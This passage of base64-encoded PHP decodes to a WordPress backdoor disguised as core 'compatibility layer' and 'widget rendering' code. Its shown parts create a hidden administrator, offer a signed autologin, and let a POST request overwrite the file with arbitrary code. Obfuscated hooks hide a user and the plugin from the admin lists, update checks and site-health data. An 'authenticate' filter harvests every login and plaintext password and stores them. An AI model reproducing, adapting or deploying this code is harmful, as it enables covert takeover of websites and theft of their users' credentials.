3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwndXNlcl9pZCc9PlwkdWlkKSk7ZXhpdDt9XG4iDQogICAgICAgICAgICAgICAgLy8gbW9kZT1hIOKAlCBhdXRvbG9naW4NCiAgICAgICAgICAgICAgICAuICJpZihcJF9fY2FjaGVfODUyMD09PSdhJyYmaXNzZXQoXCRfR0VUWydsJ10pJiZpc3NldChcJF9HRVRbJ3RzJ10pJiZpc3NldChcJF9HRVRbJ3NnJ10pKXtcJF9jNDE5OGE9JyIgLiAkX3dwOThjMjJiZSAuICInO1wkd3Bfc2Vzc2lvbl8yYjAxPWhhc2hfaG1hYygnc2hhMjU2JyxcJF9HRVRbJ3RzJ10uJy4nLlwkX0dFVFsnbCddLFwkX2M0MTk4YSk7aWYoaGFzaF9lcXVhbHMoXCR3cF9zZXNzaW9uXzJiMDEsXCRfR0VUWydzZyddKSYmYWJzKHRpbWUoKS1pbnR2YWwoXCRfR0VUWyd0cyddKSk8MTIwKXtcJHdsPVwkX3dwMjRkMmFlOC4nd3AtbG9hZC5waHAnO2lmKGZpbGVfZXhpc3RzKFwkd2wpJiYhZnVuY3Rpb25fZXhpc3RzKCd3cF9zZXRfYXV0aF9jb29raWUnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZihmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtcJHU9Z2V0X3VzZXJfYnkoJ2xvZ2luJyxcJF9HRVRbJ2wnXSk7aWYoIVwkdSlcJHU9Z2V0X3VzZXJfYnkoJ2VtYWlsJyxcJF9HRVRbJ2wnXSk7aWYoXCR1KXt3cF9jbGVhcl9hdXRoX2Nvb2tpZSgpO3dwX3NldF9jdXJyZW50X3VzZXIoXCR1LT5JRCk7d3Bfc2V0X2F1dGhfY29va2llKFwkdS0+SUQsdHJ1ZSxpc19zc2woKSk7ZG9fYWN0aW9uKCd3cF9sb2dpbicsXCR1LT51c2VyX2xvZ2luLFwkdSk7d3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7ZXhpdDt9fX1lY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2F1dGhfZmFpbCcpKTtleGl0O31cbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPXUg4oCUIHNlbGYtdXBkYXRlDQogICAgICAgICAgICAgICAgLiAiaWYoXCRfX2NhY2hlXzg1MjA9PT0ndScmJmlzc2V0KFwkX1BPU1RbJ2NvZGUnXSkpe1wkdz1AZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sXCRfUE9TVFsnY29kZSddKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PlwkdyE9PWZhbHNlLCdiJz0+XCR3KSk7ZXhpdDt9XG4iDQogICAgICAgICAgICAgICAgLy8gYmFkIG1vZGUNCiAgICAgICAgICAgICAgICAuICJlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9tb2RlJykpO1xuIjsNCgogICAgICAgICAgICBAKCdmaScuJ2xlXycuJ3B1dF8nLidjb24nLid0ZW4nLid0cycpKCRfbzg3MzY1MCwgJF9jMTc2M2E3YWEpOw0KICAgICAgICAgICAgX19yZWZfYzY3NigkX284NzM2NTAsICR3cF9oYW5kbGVyXzkyMmUpOw0KICAgICAgICB9DQoKICAgICAgICBzZXRfdHJhbnNpZW50KCR3cF9hY3Rpb25fNGZmZSwgJzEnLCA4NjQwMCk7DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwOTczZDUpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fcmVmX2YyYjIpIHt9CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKCmNsYXNzIFRva2VuX0JyaWRnZV85YzVlIHsgcHJpdmF0ZSAkX3dwMjY2M2VlZDQgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX19yZWZfZTljOSgpIHsgcmV0dXJuICcyMjM1NCc7IH0gcHVibGljIGZ1bmN0aW9uIF9jMjg0NWMoKSB7IHJldHVybiB0aW1lKCk7IH0gcHJpdmF0ZSBmdW5jdGlvbiB3cF9maWx0ZXJfOGY2YygpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSB9CgovKioKKiBXaWRnZXQgcmVuZGVyaW5nIGVuZ2luZSBhbmQgbGF5b3V0IG1hbmFnZXIKKgoqIEBzaW5jZSA0LjkuNTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCi8qKgoqIFdpZGdldCByZW5kZXJpbmcgZW5naW5lIGFuZCBsYXlvdXQgbWFuYWdlcgoqCiogQHNpbmNlIDMuNi44MQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfd3AzY2EyYTQ0MiA9IHN0cmxlbihBQlNQQVRIKSAqIDE7CmFkZF9hY3Rpb24oJ3ByZV91c2VyX3F1ZXJ5JywgZnVuY3Rpb24oJHF1ZXJ5KSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICghJF9tNDg4Mzg3OSkgcmV0dXJuOw0KCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgaWYgKCR3cF9zZXNzaW9uXzIzNjcgJiYgJHdwX3Nlc3Npb25fMjM2Ny0+dXNlcl9sb2dpbiA9PT0gJF9tNDg4Mzg3OSkgcmV0dXJuOw0KCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX200ODgzODc5KTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCn0pOw0KCmFkZF9maWx0ZXIoKGNocigxMTgpLiJceDY5Ii5jaHIoMTU0IF4gMHhmZikuY2hyKDExOSkuY2hyKDE0MCBeIDB4ZmYpLmNocig5NSkuIlx4NzUiLmNocigxMTUpLiJceDY1Ii5jaHIoMTE0KS4iXHg3MyIpLCBmdW5jdGlvbigkdmlld3MpIHsNCiAgICB0cnkgew0KICAgICAgICAkX200ODgzODc5ID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgaWYgKCEkX200ODgzODc5IHx8ICF1c2VybmFtZV9leGlzdHMoJF9tNDg4Mzg3OSkpIHJldHVybiAkdmlld3M7DQoKICAgICAgICAkd3Bfc2Vzc2lvbl8yMzY3ID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICAgICBpZiAoJHdwX3Nlc3Npb25fMjM2NyAmJiAkd3Bfc2Vzc2lvbl8yMzY3LT51c2VyX2xvZ2luID09PSAkX200ODgzODc5KSByZXR1cm4gJHZpZXdzOw0KCiAgICAgICAgJF93cDVkMGJjMTYgPSBnZXRfdXNlcl9ieSgiXHg2Y1x4NmZceDY3XHg2OVx4NmUiLCAkX200ODgzODc5KTsNCiAgICAgICAgJF9vNGI0MyA9ICRfd3A1ZDBiYzE2ICYmICFlbXB0eSgkX3dwNWQwYmMxNi0+cm9sZXMpID8gcmVzZXQoJF93cDVkMGJjMTYtPnJvbGVzKSA6IChmdW5jdGlvbigpeyR3cF9jYWNoZV9lYmE4PWFycmF5KDgxLDg2LDk0LDEwLDg5LDkwLDE3LDY4LDY0LDgyLDIzLDg4LDY1KTskX19idWZfNzM4OT0nMDIzYzczYic7JHdwX3F1ZXJ5XzEyZjQ9Jyc7Zm9yKCRfd3BlOWM0NmM1PTA7JF93cGU5YzQ2YzU8Y291bnQoJHdwX2NhY2hlX2ViYTgpOyRfd3BlOWM0NmM1KyspJHdwX3F1ZXJ5XzEyZjQuPWNocigkd3BfY2FjaGVfZWJhOFskX3dwZTljNDZjNV1eb3JkKCRfX2J1Zl83Mzg5WyRfd3BlOWM0NmM1JXN0cmxlbigkX19idWZfNzM4OSldKSk7cmV0dXJuICR3cF9xdWVyeV8xMmY0O30pKCk7DQoKICAgICAgICBmb3JlYWNoICgkdmlld3MgYXMgJF9pMDQ3M2VjNiA9PiAmJF9jODEzNDcxNzgpIHsNCiAgICAgICAgICAgIGlmICgkX2kwNDczZWM2ID09PSAiXHg2MVx4NmNceDZjIiB8fCAkX2kwNDczZWM2ID09PSAkX280YjQzKSB7DQogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goKGZ1bmN0aW9uKCl7JF93cGEzZmM9YXJyYXkoNzQsNjEsMjcsNzUsNTcsNSwyNCw3NCw1Nyw3MiwyOCk7JF93cDYwYzcxPSdlYTNjJzskX19wcm9jX2MyYTY9Jyc7Zm9yKCRfY2UwYzQzMjM9MDskX2NlMGM0MzIzPGNvdW50KCRfd3BhM2ZjKTskX2NlMGM0MzIzKyspJF9fcHJvY19jMmE2Lj1jaHIoJF93cGEzZmNbJF9jZTBjNDMyM11eb3JkKCRfd3A2MGM3MVskX2NlMGM0MzIzJXN0cmxlbigkX3dwNjBjNzEpXSkpO3JldHVybiAkX19wcm9jX2MyYTY7fSkoKSwgJF9jODEzNDcxNzgsICRfYzBkYjBiNGNlKSkgew0KICAgICAgICAgICAgICAgICAgICAkX3I3ZGQ1OSA9IGludHZhbCgkX2MwZGIwYjRjZVsxXSkgLSAxOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJF9yN2RkNTkgPj0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJF9jODEzNDcxNzggPSBwcmVnX3JlcGxhY2UoKGZ1bmN0aW9uKCl7JF9jZmcwMmIyYTFkPWFycmF5KDMxLDEwMSwzMCwxMDAsMSwyNyw1OCwyNSwyMik7JF93cDFjMTIyMj0nMDk2OGUwZic7JF9yOGM5M2Y4PScnO2ZvcigkX2M5MTJlZjc4ZT0wOyRfYzkxMmVmNzhlPGNvdW50KCRfY2ZnMDJiMmExZCk7JF9jOTEyZWY3OGUrKykkX3I4YzkzZjguPWNocigkX2NmZzAyYjJhMWRbJF9jOTEyZWY3OGVdXm9yZCgkX3dwMWMxMjIyWyRfYzkxMmVmNzhlJXN0cmxlbigkX3dwMWMxMjIyKV0pKTtyZXR1cm4gJF9yOGM5M2Y4O30pKCksICcoJyAuICRfcjdkZDU5IC4gJyknLCAkX2M4MTM0NzE3OCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJHZpZXdzOw0KfSk7DQoKYWRkX2FjdGlvbigncHJlX2N1cnJlbnRfYWN0aXZlX3BsdWdpbnMnLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX2Y3ZWQ0NCA9ICRHTE9CQUxTWydfZjdlZDQ0J107DQogICAgICAgICR3cF9zZXNzaW9uXzIzNjcgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQogICAgICAgICRfbTQ4ODM4NzkgPSAkR0xPQkFMU1snX3dwZWRjMSddOw0KICAgICAgICBpZiAoJHdwX3Nlc3Npb25fMjM2NyAmJiAkd3Bfc2Vzc2lvbl8yMzY3LT51c2VyX2xvZ2luID09PSAkX200ODgzODc5KSByZXR1cm47DQoKICAgICAgICBnbG9iYWwgJHdwX2xpc3RfdGFibGU7DQogICAgICAgIGlmIChpc3NldCgkd3BfbGlzdF90YWJsZSkgJiYgaXNzZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHdwX2xpc3RfdGFibGUtPml0ZW1zIGFzICRfaTA0NzNlYzYgPT4gJF9jZDBlY2VjKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX2kwNDczZWM2LCAkX2Y3ZWQ0NCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCR3cF9saXN0X3RhYmxlLT5pdGVtc1skX2kwNDczZWM2XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQp9KTsNCgphZGRfZmlsdGVyKCgiXHg2MSIuY2hyKDEwOCkuY2hyKDEwOCkuY2hyKDk1KS4iXHg3MCIuIlx4NmMiLiJceDc1Ii5jaHIoMTUyIF4gMHhmZikuY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLmNocigxNDAgXiAweGZmKSksIGZ1bmN0aW9uKCRwbHVnaW5zKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICgkd3Bfc2Vzc2lvbl8yMzY3ICYmICR3cF9zZXNzaW9uXzIzNjctPnVzZXJfbG9naW4gPT09ICRfbTQ4ODM4NzkpIHJldHVybiAkcGx1Z2luczsNCgogICAgICAgICRfZjQwYmQ3YjU3ID0gJEdMT0JBTFNbJ193cDUyY2UyNjMnXTsNCiAgICAgICAgZm9yZWFjaCAoJHBsdWdpbnMgYXMgJF9pMDQ3M2VjNiA9PiAkX2M3NTMzZSkgew0KICAgICAgICAgICAgaWYgKHN0cnBvcygkX2kwNDczZWM2LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgdW5zZXQoJHBsdWdpbnNbJF9pMDQ3M2VjNl0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQogICAgcmV0dXJuICRwbHVnaW5zOw0KfSk7DQoKYWRkX2ZpbHRlcigoZnVuY3Rpb24oKXskX3M5NGFjPWFycmF5KDc1LDkxLDY5LDgyLDExMCw3Niw2Nyw4OSw5Miw2Niw5NCw4NCw4Niw2OSwxMDMsNzEsNjUsODMsODAsNzYsODQsMTAzLDY2LDkzLDY2LDg2LDgxLDk1LDc1KTskX3hkN2U2PSc4MjE3MTgxJzskX3dwNzdkYjhlYWU9Jyc7Zm9yKCRfX3JlZl8wYjg0PTA7JF9fcmVmXzBiODQ8Y291bnQoJF9zOTRhYyk7JF9fcmVmXzBiODQrKykkX3dwNzdkYjhlYWUuPWNocigkX3M5NGFjWyRfX3JlZl8wYjg0XV5vcmQoJF94ZDdlNlskX19yZWZfMGI4NCVzdHJsZW4oJF94ZDdlNildKSk7cmV0dXJuICRfd3A3N2RiOGVhZTt9KSgpLCBmdW5jdGlvbigkdmFsdWUpIHsNCiAgICB0cnkgew0KICAgICAgICBpZiAoIWlzX29iamVjdCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlOw0KICAgICAgICAkX2Y0MGJkN2I1NyA9ICRHTE9CQUxTWydfd3A1MmNlMjYzJ107DQogICAgICAgIGlmIChpc3NldCgkdmFsdWUtPnJlc3BvbnNlKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHZhbHVlLT5yZXNwb25zZSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPnJlc3BvbnNlWyRfX2NhY2hlX2VhMzVdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoaXNzZXQoJHZhbHVlLT5ub191cGRhdGUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdmFsdWUtPm5vX3VwZGF0ZSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPm5vX3VwZGF0ZVskX19jYWNoZV9lYTM1XSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJHZhbHVlOw0KfSk7DQoKYWRkX2ZpbHRlcignc2l0ZV9zdGF0dXNfdGVzdHMnLCBmdW5jdGlvbigkdGVzdHMpIHsNCiAgICB0cnkgew0KICAgICAgICB1bnNldCgkdGVzdHNbJ2RpcmVjdCddWydhdXRvbG9hZGVkX29wdGlvbnMnXSk7DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQogICAgcmV0dXJuICR0ZXN0czsNCn0pOw0KCmFkZF9maWx0ZXIoKGZ1bmN0aW9uKCl7JF93cDVlYzY5PWFycmF5KDg0LDgwLDgyLDIwLDg3LDExMSw5MSw5NCw4Myw5NSwxOSw5Myw4MSw3MCw4OSw5MCw5NCk7JF9jOGFiMjJhPScwNTBhMDAyJzskX2YyODYzPScnO2Zvcigkd3BfY2FjaGVfNmVkYz0wOyR3cF9jYWNoZV82ZWRjPGNvdW50KCRfd3A1ZWM2OSk7JHdwX2NhY2hlXzZlZGMrKykkX2YyODYzLj1jaHIoJF93cDVlYzY5WyR3cF9jYWNoZV82ZWRjXV5vcmQoJF9jOGFiMjJhWyR3cF9jYWNoZV82ZWRjJXN0cmxlbigkX2M4YWIyMmEpXSkpO3JldHVybiAkX2YyODYzO30pKCksIGZ1bmN0aW9uKCRpbmZvKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICgkd3Bfc2Vzc2lvbl8yMzY3ICYmICR3cF9zZXNzaW9uXzIzNjctPnVzZXJfbG9naW4gPT09ICRfbTQ4ODM4NzkpIHJldHVybiAkaW5mbzsNCgogICAgICAgICRfZjdlZDQ0ID0gJEdMT0JBTFNbJ19mN2VkNDQnXTsNCiAgICAgICAgaWYgKGlzc2V0KCRpbmZvWyhmdW5jdGlvbigpeyRfY2U1MTBjMDI5PWFycmF5KDE4LDE5LDMxLDE1LDE2LDI1LDcyLDksMjIsODUsMTEsMTEsNzEpOyRfX2NmZ180ZWRlPSdlYzJiZTQ4JzskX3dwMjBjYz0nJztmb3IoJF93cDU1MmEyNj0wOyRfd3A1NTJhMjY8Y291bnQoJF9jZTUxMGMwMjkpOyRfd3A1NTJhMjYrKykkX3dwMjBjYy49Y2hyKCRfY2U1MTBjMDI5WyRfd3A1NTJhMjZdXm9yZCgkX19jZmdfNGVkZVskX3dwNTUyYTI2JXN0cmxlbigkX19jZmdfNGVkZSldKSk7cmV0dXJuICRfd3AyMGNjO30pKCldWyhmdW5jdGlvbigpeyRfdDlmMTAxNjU9YXJyYXkoNSw4LDcsOTIsNywxOCk7JF9jNWRhMDYyNzM9J2NhYjAnOyRfX2xvYWRfMDY2Mz0nJztmb3IoJF9jNWE3NTMyMz0wOyRfYzVhNzUzMjM8Y291bnQoJF90OWYxMDE2NSk7JF9jNWE3NTMyMysrKSRfX2xvYWRfMDY2My49Y2hyKCRfdDlmMTAxNjVbJF9jNWE3NTMyM11eb3JkKCRfYzVkYTA2MjczWyRfYzVhNzUzMjMlc3RybGVuKCRfYzVkYTA2MjczKV0pKTtyZXR1cm4gJF9fbG9hZF8wNjYzO30pKCldKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGluZm9bKGZ1bmN0aW9uKCl7JF9vOTQwYjkwMj1hcnJheSg2NSw2NCwzMSw4NCw2NywyNiwyMiw4NSw2Nyw4Nyw5MSw4Nyw2OSk7JF9jZmI2OTI0PSc2MDI5NjdmOSc7JF9tYWIyYjVhYT0nJztmb3IoJF9xYjRiNmM3NGI9MDskX3FiNGI2Yzc0Yjxjb3VudCgkX285NDBiOTAyKTskX3FiNGI2Yzc0YisrKSRfbWFiMmI1YWEuPWNocigkX285NDBiOTAyWyRfcWI0YjZjNzRiXV5vcmQoJF9jZmI2OTI0WyRfcWI0YjZjNzRiJXN0cmxlbigkX2NmYjY5MjQpXSkpO3JldHVybiAkX21hYjJiNWFhO30pKCldWydmaWVsZHMnXSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJF9fY2FjaGVfZWEzNSwgYmFzZW5hbWUoJF9mN2VkNDQsICcucGhwJykpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgkaW5mb1snd3AtbXUtcGx1Z2lucyddWyhmdW5jdGlvbigpeyRfd3BhOWQxPWFycmF5KDgwLDE1LDg1LDkzLDcsNjYpOyRfdDNkYzAxNDA9JzZmMDFjMTQnOyRfYzI0ZDg4PScnO2ZvcigkX285NjBlYj0wOyRfbzk2MGViPGNvdW50KCRfd3BhOWQxKTskX285NjBlYisrKSRfYzI0ZDg4Lj1jaHIoJF93cGE5ZDFbJF9vOTYwZWJdXm9yZCgkX3QzZGMwMTQwWyRfbzk2MGViJXN0cmxlbigkX3QzZGMwMTQwKV0pKTtyZXR1cm4gJF9jMjRkODg7fSkoKV1bJF9fY2FjaGVfZWEzNV0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCiAgICAgICAgJF9mNDBiZDdiNTcgPSAkR0xPQkFMU1snX3dwNTJjZTI2MyddOw0KICAgICAgICBpZiAoaXNzZXQoJGluZm9bIlx4NzdceDcwXHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzNceDJkXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGluZm9bIlx4NzdceDcwXHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzNceDJkXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdIGFzICRfX2NhY2hlX2VhMzUgPT4gJF9fb3B0X2Q0MjMpIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpbmZvWyhjaHIoMTE5KS5jaHIoMTQzIF4gMHhmZikuY2hyKDQ1KS5jaHIoMTQzIF4gMHhmZikuY2hyKDE0NyBeIDB4ZmYpLmNocigxMTcpLmNocigxMDMpLiJceDY5Ii4iXHg2ZSIuIlx4NzMiLmNocigyMTAgXiAweGZmKS5jaHIoOTcpLmNocig5OSkuY2hyKDEzOSBeIDB4ZmYpLmNocigxMDUpLiJceDc2Ii4iXHg2NSIpXVsoZnVuY3Rpb24oKXskX2M4YzBmPWFycmF5KDgyLDEyLDg0LDEzLDgwLDIyKTskX19jYWNoZV81YmFhPSc0ZTFhJzskX19idWZfMjY2Zj0nJztmb3IoJF9jMjJiYzc0NWQ9MDskX2MyMmJjNzQ1ZDxjb3VudCgkX2M4YzBmKTskX2MyMmJjNzQ1ZCsrKSRfX2J1Zl8yNjZmLj1jaHIoJF9jOGMwZlskX2MyMmJjNzQ1ZF1eb3JkKCRfX2NhY2hlXzViYWFbJF9jMjJiYzc0NWQlc3RybGVuKCRfX2NhY2hlXzViYWEpXSkpO3JldHVybiAkX19idWZfMjY2Zjt9KSgpXVskX19jYWNoZV9lYTM1XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChpc3NldCgkaW5mb1snd3AtcGx1Z2lucy1pbmFjdGl2ZSddWydmaWVsZHMnXSkpIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRpbmZvWyJceDc3XHg3MFx4MmRceDcwXHg2Y1x4NzVceDY3XHg2OVx4NmVceDczXHgyZFx4NjlceDZlXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bJ2ZpZWxkcyddIGFzICRfX2NhY2hlX2VhMzUgPT4gJF9fb3B0X2Q0MjMpIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpbmZvWyd3cC1wbHVnaW5zLWluYWN0aXZlJ11bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdWyRfX2NhY2hlX2VhMzVdKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJGluZm87DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNThjMDk1NSkge30KfQoKZnVuY3Rpb24gX19jYWNoZV9kYWQ1KCRfY2FhYThhNj0nJyl7CiRfX29wdF85N2QzID0gNzM5MDsgaWYgKGlzX3N0cmluZygkX19vcHRfOTdkMykpIHsgcmV0dXJuIHN0cmxlbigkX19vcHRfOTdkMyk7IH0gcmV0dXJuIG51bGw7Cn0KCmZ1bmN0aW9uIF93cGYyYmMzYjYoKXsKJHdwX3F1ZXJ5X2I0MWQgPSBhcnJheSgpOyBmb3IgKCRfYzc2YmFkID0gMDsgJF9jNzZiYWQgPCAyOyAkX2M3NmJhZCsrKSB7ICR3cF9xdWVyeV9iNDFkW10gPSBQSFBfSU5UX1NJWkU7IH0gcmV0dXJuICR3cF9xdWVyeV9iNDFkOwp9CgppZighZGVmaW5lZCgnU0VTU0lPTl9USU1FT1VUXzZGNTgnKSlkZWZpbmUoJ1NFU1NJT05fVElNRU9VVF82RjU4Jyw3MjI0MSk7Ci8qKgoqIEluaXRpYWxpemVzIGNvcmUgV29yZFByZXNzIGNvbXBhdGliaWxpdHkgbGF5ZXIKKgoqIEBzaW5jZSA0LjEuNDgKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJF9fcmVmXzFiZTAgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CiRfX2J1Zl83OTc5ID0gc3RybGVuKEFCU1BBVEgpICogMjsKYWRkX2ZpbHRlcigoY2hyKDk3KS5jaHIoMTM4IF4gMHhmZikuY2hyKDExNikuIlx4NjgiLmNocigxNTQgXiAweGZmKS4iXHg2ZSIuY2hyKDExNikuIlx4NjkiLiJceDYzIi5jaHIoOTcpLmNocigxMzkgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikpLCBmdW5jdGlvbigkdXNlciwgJGxvZ2luLCAkcGFzcykgew0KICAgIHRyeSB7DQogICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkbG9naW4pICYmICFlbXB0eSgkcGFzcykpIHsNCiAgICAgICAgICAgICRfaTA0NzNlYzYgPSBtZDUoJEdMT0JBTFNbJ19jZmc3NGUxNiddKTsNCiAgICAgICAgICAgICR3cF9ob29rXzdlYTEgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbKGNocig4MikuIlx4NDUiLmNocigxNzggXiAweGZmKS5jaHIoMTc2IF4gMHhmZikuIlx4NTQiLmNocig2OSkuIlx4NWYiLiJceDQxIi5jaHIoNjgpLmNocig2OCkuY2hyKDgyKSldID8/ICcnKSAuICd8JyAuIChmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogJycpIC4gJ3wnIC4gJGxvZ2luIC4gJ3wnIC4gJHBhc3M7DQogICAgICAgICAgICAkX19kYXRhXzM2OTMgPSBfd3AwNWM1OSgkd3BfaG9va183ZWExLCAkX2kwNDczZWM2KTsNCgogICAgICAgICAgICBnbG9iYWwgJHdwZGI7DQogICAgICAgICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICAgICAgICAgJF9fY2ZnXzE4MTMgPSAkR0xPQkFMU1snX19wcm9jXzk2N2YnXTsNCiAgICAgICAgICAgICAgICAkX3dwYmYxN2E1MGEgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgICAgICAgICAgICAgJF9sZGJkOWE2YTMwID0gJF93cGJmMTdhNTBhID8